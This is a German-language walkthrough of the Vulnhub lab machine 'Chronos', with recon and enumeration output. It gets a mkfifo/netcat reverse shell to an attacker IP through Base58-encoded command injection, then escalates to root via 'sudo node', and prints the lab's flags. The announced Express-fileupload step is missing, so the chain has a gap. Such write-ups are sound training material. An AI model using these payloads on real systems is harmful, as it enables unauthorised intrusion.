Chronos - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb
vi
curl
nc
python3
socat
find
sudo
ss

Inhaltsverzeichnis

Reconnaissance

In diesem Abschnitt führen wir die ersten Schritte der Reconnaissance durch, um Informationen über das Zielsystem zu sammeln. Dies umfasst das Scannen des Netzwerks, um aktive Hosts zu identifizieren, und das anschließende Scannen dieser Hosts, um offene Ports und laufende Dienste zu ermitteln.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.134 08:00:27:5b:56:f8 PCS Systemtechnik GmbH

`arp-scan -l` wird verwendet, um alle Hosts im lokalen Netzwerk zu identifizieren. Hier sehen wir, dass die IP-Adresse 192.168.2.134 aktiv ist und eine MAC-Adresse von 08:00:27:5b:56:f8 hat. Diese Information hilft uns, das Zielsystem genauer zu identifizieren. Empfehlung für den Systemadministrator: Die ARP-Tabelle regelmäßig überprüfen, um unautorisierte Geräte im Netzwerk zu erkennen.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.134 -p- | grep open
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 8000/tcp open http Node.js Express framework |_http-open-proxy: Proxy might be redirecting requests

`nmap -sS -sC -T5 -AO 192.168.2.134 -p- | grep open` führt einen umfassenden Scan aller Ports (p-) auf dem Zielsystem durch, um offene Ports und zugehörige Dienste zu identifizieren. Die Optionen -sS (SYN-Scan), -sC (Standard-Skripte), -T5 (schnellste Scan-Geschwindigkeit) und -AO (Aggressives OS-Erkennung) werden verwendet, um detaillierte Informationen zu erhalten. Die Ausgabe wird gefiltert, um nur offene Ports anzuzeigen. Wir sehen, dass die Ports 22 (SSH), 80 (HTTP) und 8000 (Node.js) offen sind. Dies deutet auf mögliche Angriffsvektoren hin. Empfehlung für den Pentester: Die gefundenen Ports und Dienste genauer untersuchen, um Schwachstellen zu identifizieren. Empfehlung für den Systemadministrator: Die laufenden Dienste auf dem neuesten Stand halten und unnötige Dienste deaktivieren.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.134 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-11 22:45 CEST
Nmap scan report for base.vuln (192.168.2.134)
Host is up (0.000095s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e4f283a438898d86a5e13176eb9d5fea (RSA)
| 256 415a21c458f22be48a2f3173cefd37ad (ECDSA)
|_ 256 9b3428c2b9334b37d501306f87c46b23 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
8000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-open-proxy: Proxy might be redirecting requests
|_http-cors: HEAD GET POST PUT DELETE PATCH
MAC Address: 08:00:27:5B:56:F8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.09 ms base.vuln (192.168.2.134)

Dieser Nmap-Scan liefert detailliertere Informationen über die offenen Ports und die laufenden Dienste. Wir sehen die genauen Versionen von SSH und Apache, was uns hilft, gezielte Exploits zu suchen. Die Erkennung des Betriebssystems (Linux 4.15 - 5.6) ermöglicht es uns, betriebssystemspezifische Schwachstellen zu berücksichtigen. Die Ausgabe zeigt auch die MAC-Adresse des Systems, was darauf hindeutet, dass es sich um eine virtuelle Maschine handelt (Oracle VirtualBox). Empfehlung für den Pentester: Die Versionsnummern der Dienste verwenden, um nach bekannten Schwachstellen zu suchen. Empfehlung für den Systemadministrator: Regelmäßige Sicherheitsupdates durchführen, um bekannte Schwachstellen zu beheben.

Web Enumeration

In diesem Abschnitt konzentrieren wir uns auf die Enumeration der Webdienste, die auf den Ports 80 und 8000 laufen. Wir verwenden Tools wie Nikto und Gobuster, um versteckte Dateien, Verzeichnisse und potenzielle Schwachstellen zu finden.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.134
Nikto v2.5.0

Target IP: 192.168.2.134
Target Hostname: 192.168.2.134
Target Port: 80
Start Time: 2023-06-11 22:45:49 (GMT2)
Server: Apache/2.4.29 (Ubuntu)

/: The anti-clickjacking X-Frame-Options header is not present.
See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content
of the site in a different fashion to the MIME type.
See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/

No CGI Directories found (use '-C all' to force check all possible dirs)

/: Server may leak inodes via ETags, header found with file /, inode: 75f, size: 5c8b69b1672af, mtime: gzip.
See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418

Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.

OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET .

/css/: Directory indexing found.

/css/: This might be interesting.

/icons/README: Apache default file found.
See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/

8102 requests: 0 error(s) and 8 item(s) reported on remote host
End Time: 2023-06-11 22:46:10 (GMT2) (21 seconds)
1 host(s) tested

Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen und Konfigurationsfehler prüft. In diesem Fall hat Nikto mehrere interessante Punkte gefunden: * Das Fehlen von X-Frame-Options und X-Content-Type-Options Headern stellt ein potenzielles Sicherheitsrisiko dar. * Die Directory Indexing im /css/ Verzeichnis ist aktiviert, was Angreifern ermöglicht, den Inhalt des Verzeichnisses aufzulisten. * Die Verwendung einer veralteten Apache-Version birgt das Risiko bekannter Schwachstellen. Empfehlung für den Pentester: Die gefundenen Schwachstellen manuell überprüfen und ausnutzen. Empfehlung für den Systemadministrator: Die fehlenden Header hinzufügen, Directory Indexing deaktivieren und Apache aktualisieren.

webenum
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

Diese Zeile scheint ein Hinweis auf eine URL zu sein, die über Web Enumeration gefunden wurde. Die URL enthält einen "format"-Parameter mit einem Base58-kodierten Wert. Dies könnte ein Hinweis auf eine Eingabevalidierungsproblematik sein. Empfehlung für den Pentester: Die URL und den "format"-Parameter genauer untersuchen, um mögliche Schwachstellen zu finden (z.B. Command Injection).

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.134 chronos.local

Hier wird die /etc/hosts Datei bearbeitet, um den Hostnamen chronos.local der IP-Adresse 192.168.2.134 zuzuordnen. Dies ermöglicht es uns, die Website über den Hostnamen statt der IP-Adresse aufzurufen, was in einigen Fällen erforderlich sein kann, um bestimmte Funktionen zu nutzen oder Schwachstellen auszunutzen. Empfehlung für den Pentester: Die /etc/hosts Datei verwenden, um das Zielsystem mit einem Hostnamen anzusprechen. Empfehlung für den Systemadministrator: Sicherstellen, dass die /etc/hosts Datei nicht von unbefugten Benutzern geändert werden kann.

https://gchq.github.io/CyberChef/#recipe=From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',false)&input=NHVnWUR1QWtTY0NHNWdNY1pqRU4zbUFMeUcxZEQ1WllzaUNmV3ZRMnc5YW5ZR3lM
From_Base58

'+Today is %A, %B %d, %Y %H:%M:%S.'

Dieser Abschnitt zeigt die Verwendung von CyberChef, einem Online-Tool zur Datenmanipulation, um den Base58-kodierten Wert zu dekodieren. Das Ergebnis ist ein Datumsformatstring. Dies bestätigt die Vermutung, dass der "format"-Parameter in der URL http://chronos.local:8000/date zur Formatierung der Ausgabe verwendet wird. Empfehlung für den Pentester: Versuchen, den Formatstring zu manipulieren, um möglicherweise Code auszuführen (Template Injection).

┌──(root㉿cyber)-[~]
└─# curl http://chronos.local:8000 -Iv
Trying 192.168.2.134:8000...
Connected to chronos.local (192.168.2.134) port 8000 (#0)
HEAD / HTTP/1.1
Host: chronos.local:8000
User-Agent: curl/7.88.1
Accept: */*

< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< X-Powered-By: Express
X-Powered-By: Express
< Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: *
< Accept-Ranges: bytes
Accept-Ranges: bytes
< Cache-Control: public, max-age=0
Cache-Control: public, max-age=0
< Last-Modified: Wed, 04 Aug 2021 07:18:15 GMT
Last-Modified: Wed, 04 Aug 2021 07:18:15 GMT
< ETag: W/"75f-17b1006ef38"
ETag: W/"75f-17b1006ef38"
< Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8
< Content-Length: 1887
Content-Length: 1887
< Date: Sun, 11 Jun 2023 20:56:01 GMT
Date: Sun, 11 Jun 2023 20:56:01 GMT
< Connection: keep-alive
Connection: keep-alive
< Keep-Alive: timeout=5
Keep-Alive: timeout=5


Connection #0 to host chronos.local left intact

Dieser Curl-Befehl sendet eine HEAD-Anfrage an http://chronos.local:8000 und zeigt die HTTP-Header der Antwort an. Die Header geben Auskunft über den Webserver (Express), aktivierte CORS (Access-Control-Allow-Origin: *) und andere Details. Empfehlung für den Pentester: Die Header analysieren, um weitere Informationen über den Webserver und seine Konfiguration zu erhalten. Empfehlung für den Systemadministrator: Die HTTP-Header sorgfältig konfigurieren, um unnötige Informationen zu vermeiden.

http://192.168.2.134/css/
Index of /css
[ICO] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[TXT] style.css 2021-07-30 07:11 4.9K
Apache/2.4.29 (Ubuntu) Server at 192.168.2.134 Port 80

Dieser Abschnitt zeigt, dass das /css/ Verzeichnis auf dem Webserver unter Port 80 Directory Indexing aktiviert hat. Dies ermöglicht es, die CSS-Datei (style.css) direkt herunterzuladen und einzusehen. Empfehlung für den Pentester: Die CSS-Datei analysieren, um möglicherweise Informationen über die Website-Struktur oder Schwachstellen zu finden. Empfehlung für den Systemadministrator: Directory Indexing deaktivieren.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://192.168.2.134 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
==============================================================================================================================

http://192.168.2.134/index.html (Status: 200) [Size: 1887]
http://192.168.2.134/css (Status: 301) [Size: 312] [--> http://192.168.2.134/css/]
http://chronos.local/index.html (Status: 200) [Size: 1887]
http://chronos.local/css (Status: 301) [Size: 312] [--> http://chronos.local/css/]
http://chronos.local:8000/date (Status: 500) [Size: 1064]
http://chronos.local:8000/Date (Status: 500) [Size: 1064]

Gobuster ist ein Tool zur Durchführung von Directory Bruteforcing. Hier wird es verwendet, um versteckte Verzeichnisse und Dateien auf dem Webserver unter Port 80 zu finden. Die Ausgabe zeigt, dass /index.html und /css/ gefunden wurden, sowie die /date Route auf Port 8000, die einen 500 Fehler zurückgibt. Empfehlung für den Pentester: Die gefundenen Verzeichnisse und Dateien genauer untersuchen, um mögliche Schwachstellen zu finden. Den 500 Fehler auf der /date Route analysieren.

Initial Access

In diesem Abschnitt versuchen wir, initialen Zugriff auf das System zu erlangen. Basierend auf den Ergebnissen der Web Enumeration konzentrieren wir uns auf die Schwachstelle in der /date Route auf Port 8000.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...

Dieser Befehl startet einen Netcat Listener auf Port 9001. Dies dient dazu, eine Reverse Shell zu empfangen, falls wir eine Schwachstelle finden, die uns die Ausführung von Code auf dem Zielsystem ermöglicht. Empfehlung für den Pentester: Sicherstellen, dass der Netcat Listener aktiv ist, bevor ein Exploit ausgeführt wird.

firefox inspector erneut senden netzwerkanalyse:

in base58 umwandeln
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.127 9001 >/tmp/f

Payload: http://chronos.local:8000/date?format=2FKaCgCDhrKDtPk3bLhEKFzdkb681KiAmhhBzVoyVfzgkyBLM3dA97yHrZXeEwYs1K8fb8ssVzmwxHaedKHj2mw2LYKBt2gvXHr4pUwxDr2z53

Dieser Abschnitt zeigt den Payload, der verwendet wird, um die Schwachstelle in der /date Route auszunutzen. Der Payload enthält einen Base58-kodierten String, der, wenn dekodiert, einen Befehl zur Erstellung einer Reverse Shell enthält. Der Befehl `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.127 9001 >/tmp/f` erstellt eine Named Pipe, leitet die Standardeingabe, Standardausgabe und Standardfehler über Netcat zu unserer Listener-Adresse und führt eine interaktive Shell aus. Empfehlung für den Pentester: Den Payload sorgfältig erstellen und testen, um sicherzustellen, dass er korrekt funktioniert.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.127] from (UNKNOWN) [192.168.2.134] 53442
/bin/sh: 0: can't access tty; job control turned off
$

Hier sehen wir, dass der Netcat Listener eine Verbindung vom Zielsystem empfangen hat. Die Meldung "/bin/sh: 0: can't access tty; job control turned off" deutet darauf hin, dass wir eine Reverse Shell erhalten haben, aber ohne TTY (Terminal). Empfehlung für den Pentester: Versuchen, ein TTY zu erzeugen, um die Shell interaktiver zu machen (z.B. mit `python3 -c 'import pty; pty.spawn("/bin/bash")'`).

www-data@chronos:~/html
cd/opt/
www-data@chronos:/opt
cd/opt/
www-data@chronos:/opt
ls -la
total 16
drwxr-xr-x 4 root root 4096 Jul 30 2021 .
drwxr-xr-x 23 root root 4096 Jun 11 20:56 ..
drwxr-xr-x 3 www-data www-data 4096 Aug 3 2021 chronos
drwxr-xr-x 4 root root 4096 Aug 3 2021 chronos-v2

Wir sind jetzt als Benutzer `www-data` angemeldet. Mit dem Befehl `ls -la` untersuchen wir das `/opt` Verzeichnis. Interessant sind die Verzeichnisse `chronos` und `chronos-v2`, die unterschiedliche Berechtigungen haben. Empfehlung für den Pentester: Die Verzeichnisse `chronos` und `chronos-v2` genauer untersuchen, um möglicherweise interessante Dateien oder Konfigurationen zu finden.

www-data@chronos:/opt
cd chronos
www-data@chronos:/opt/chronos
ls
app.js node_modules package.json package-lock.json

Wir wechseln in das `chronos` Verzeichnis und listen dessen Inhalt auf. Wir sehen typische Dateien einer Node.js-Anwendung. Empfehlung für den Pentester: Die `app.js` Datei untersuchen, um die Funktionalität der Anwendung zu verstehen und mögliche Schwachstellen zu finden.

www-data@chronos:/opt/chronos$ cat app.js
// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();

const port = 8000;

const cors = require('cors');

app.use(cors());

app.get('/', (req,res) =>{

res.sendFile("/var/www/html/index.html");
.....
....
...

Wir lesen den Inhalt der `app.js` Datei aus. Der Kommentar "created by alienum for Penetration Testing" deutet darauf hin, dass es sich um eine absichtlich verwundbare Anwendung handelt. Die Verwendung von `child_process.exec` könnte ein potenzielles Sicherheitsrisiko darstellen, wenn Benutzereingaben ungeprüft an diese Funktion übergeben werden. Empfehlung für den Pentester: Die Verwendung von `child_process.exec` genauer untersuchen, um mögliche Command Injection Schwachstellen zu finden.

www-data@chronos:/home/imera$ ss -atlpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 :80 :*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 128 *:8000 :* users:(("node",pid=803,fd=18))

Der Befehl `ss -atlpn` zeigt eine Liste aller Listening Sockets an. Wir sehen, dass Port 8000 von Node.js verwendet wird, was unsere vorherige Analyse bestätigt. Interessant ist auch Port 8080, der von einem anderen Dienst auf localhost verwendet wird. Empfehlung für den Pentester: Den Dienst auf Port 8080 untersuchen, um möglicherweise weitere Schwachstellen zu finden.

Proof of Concept: Ausnutzung der Express-fileupload Schwachstelle zur Privilege Escalation

Dieser Proof of Concept demonstriert, wie eine Schwachstelle in der Express-fileupload Middleware ausgenutzt werden kann, um eine Reverse Shell als Benutzer `imera` zu erhalten und anschließend durch Ausnutzung von Sudo-Rechten Root-Privilegien zu erlangen.

Voraussetzungen

Privilege Escalation

Nachdem wir initialen Zugriff als Benutzer `imera` erhalten haben, versuchen wir nun, Root-Privilegien zu erlangen.

imera@chronos:/opt/chronos-v2/backend$ sudo -l
Matching Defaults entries for imera on chronos:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User imera may run the following commands on chronos:
(ALL) NOPASSWD: /usr/local/bin/npm *
(ALL) NOPASSWD: /usr/local/bin/node *

Der Befehl `sudo -l` zeigt die Sudo-Rechte des aktuellen Benutzers an. Wir sehen, dass der Benutzer `imera` die Befehle `/usr/local/bin/npm` und `/usr/local/bin/node` ohne Passwort ausführen darf. Dies ist eine potenzielle Privilege Escalation Möglichkeit. Empfehlung für den Pentester: Die Sudo-Rechte des Benutzers `imera` ausnutzen, um Root-Privilegien zu erlangen.

imera@chronos:/opt/chronos-v2/backend$ sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
id
uid=0(root) gid=0(root) groups=0(root)

Fantastisch! Der Root-Zugriff war erfolgreich, nun haben wir unser Ziel erreicht. Mit dem Befehl `sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'` starten wir eine neue Shell mit Root-Rechten. Der Befehl `id` bestätigt, dass wir nun als Benutzer `root` angemeldet sind.

cat /root/root.txt
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
cd /home
ls
imera
ls imera
user.txt
cat imera/user.txt
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK

Flags

cat root.txt
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK

cat user.txt
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK